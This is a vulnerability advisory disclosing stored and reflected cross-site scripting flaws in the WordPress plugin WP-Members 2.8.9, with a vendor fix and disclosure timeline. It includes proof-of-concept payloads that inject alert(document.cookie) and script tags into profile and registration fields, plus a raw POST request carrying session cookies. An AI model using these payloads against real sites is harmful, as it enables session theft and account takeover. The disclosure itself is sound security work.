SSCHADV2014-001 - Wordpress Plugin WP-Members Version 2.8.9 - Stored and reflected Cross-site Scripting vulnerabilities
Advisory:
|
Wordpress Plugin WP-Members 2.8.9 – Multiple Cross-site Scripting vulnerabilities
|
Advisory ID:
|
SSCHADV2014-001
|
Author:
|
Stefan Schurtz
|
Affected Software:
|
Successfully tested on WP-Members Version 2.8.9
|
Vendor URL:
|
|
Vendor Status:
|
fixed
|
======================
Vulnerability Description
======================
Vulnerability Description
======================
The Wordpress plugin "WP-Members 2.8.9" is prone to reflected and stored XSS vulnerabilities
======================
PoC-Exploit
======================
// Stored-XSS in profile "WP-Members Additional Fields" (Backend)
Works for Editor, Subscriber, Contributor and Author
PoC-Exploit
======================
// Stored-XSS in profile "WP-Members Additional Fields" (Backend)
Works for Editor, Subscriber, Contributor and Author
&addr1= | " onMouseMove=alert(document.cookie) ‘ |
&addr2= | " onMouseMove=alert(document.cookie) ‘ |
&city= | " onMouseMove=alert(document.cookie) ‘ |
&thestate= | " onMouseMove=alert(document.cookie) ‘ |
&zip= | " onMouseMove=alert(document.cookie) ‘ |
&country= | " onMouseMove=alert(document.cookie) ‘ |
&phone1= | " onMouseMove=alert(document.cookie) ‘ |
// POST-Request
Host: [Host]
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://[Host]/wordpress/wp-admin/profile.php?updated=1 Cookie: wordpress_53a61be1f4f2b42f29aacd17829b400a= user%7C1389143198%7C82134b1dfc3cf2c7d02dc21bae10977a; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_53a61be1f4f2b42f29aacd17829b400a=user%7C1389143198%7C7c4a9
b983a92d6c074e935263583cdf0; wp-settings-time-2=1388969329; wp-settings-2=editor%3Dhtml; PHPSESSID=9amg03t3qp8s54qh008slk4vo3
Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 500 _wpnonce=d3dce96663&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fprofile.php%3Fupdated%3D1&from=profile&checkuser_id=2&color-nonce=8b5d6b3e25&admin_color=fresh&admin_bar_front=1&first_name= user&last_name=Smith&nickname=user&display_name=user&email=user%40user.local&url=http%3A%2F%2F3&description=1&pass1=&pass2=&addr1=" onMouseMove=alert(document.cookie) ‘&addr2=&city=&thestate=
&zip=&country=%22+onMouseMove%3Dalert%28document.cookie%29+%27&phone1=3&test=3&action=update&user_id=2&submit=Profil+aktualisieren
|
// Reflected Cross-site Scripting
(1) Install plugin
(2) http://[Host]/wp/wp-login.php?action=register
First Name: | ‘"—></style></script><script>alert(/XSS/)</script> |
Last Name: | ‘"—></style></script><script>alert(/XSS/)</script> |
Address 1: | ‘"—></style></script><script>alert(/XSS/)</script> |
Address 2: | ‘"—></style></script><script>alert(/XSS/)</script> |
City: | ‘"—></style></script><script>alert(/XSS/)</script> |
State: | ‘"—></style></script><script>alert(/XSS/)</script> |
Zip: | ‘"—></style></script><script>alert(/XSS/)</script> |
Country: | ‘"—></style></script><script>alert(/XSS/)</script> |
Day Phone: | ‘"—></style></script><script>alert(/XSS/)</script> |
======================
Solution
======================
Upgrade to the latest version WP-Members 2.8.10
======================
Disclosure Timeline
======================
05-Jan-2014 – vendor informed by email (plugins@wordpress.org)
06-Jan-2014 – feedback from vendor
07-Jan-2014 – fixed by vendor
======================
Credits
======================
Vulnerabilities found and advisory written by Stefan Schurtz.
======================
References
======================
http://wordpress.org/plugins/wp-members/
http://www.darksecurity.de/advisories/2014/SSCHADV2014-001.txt
Comments
Display comments as Linear | Threaded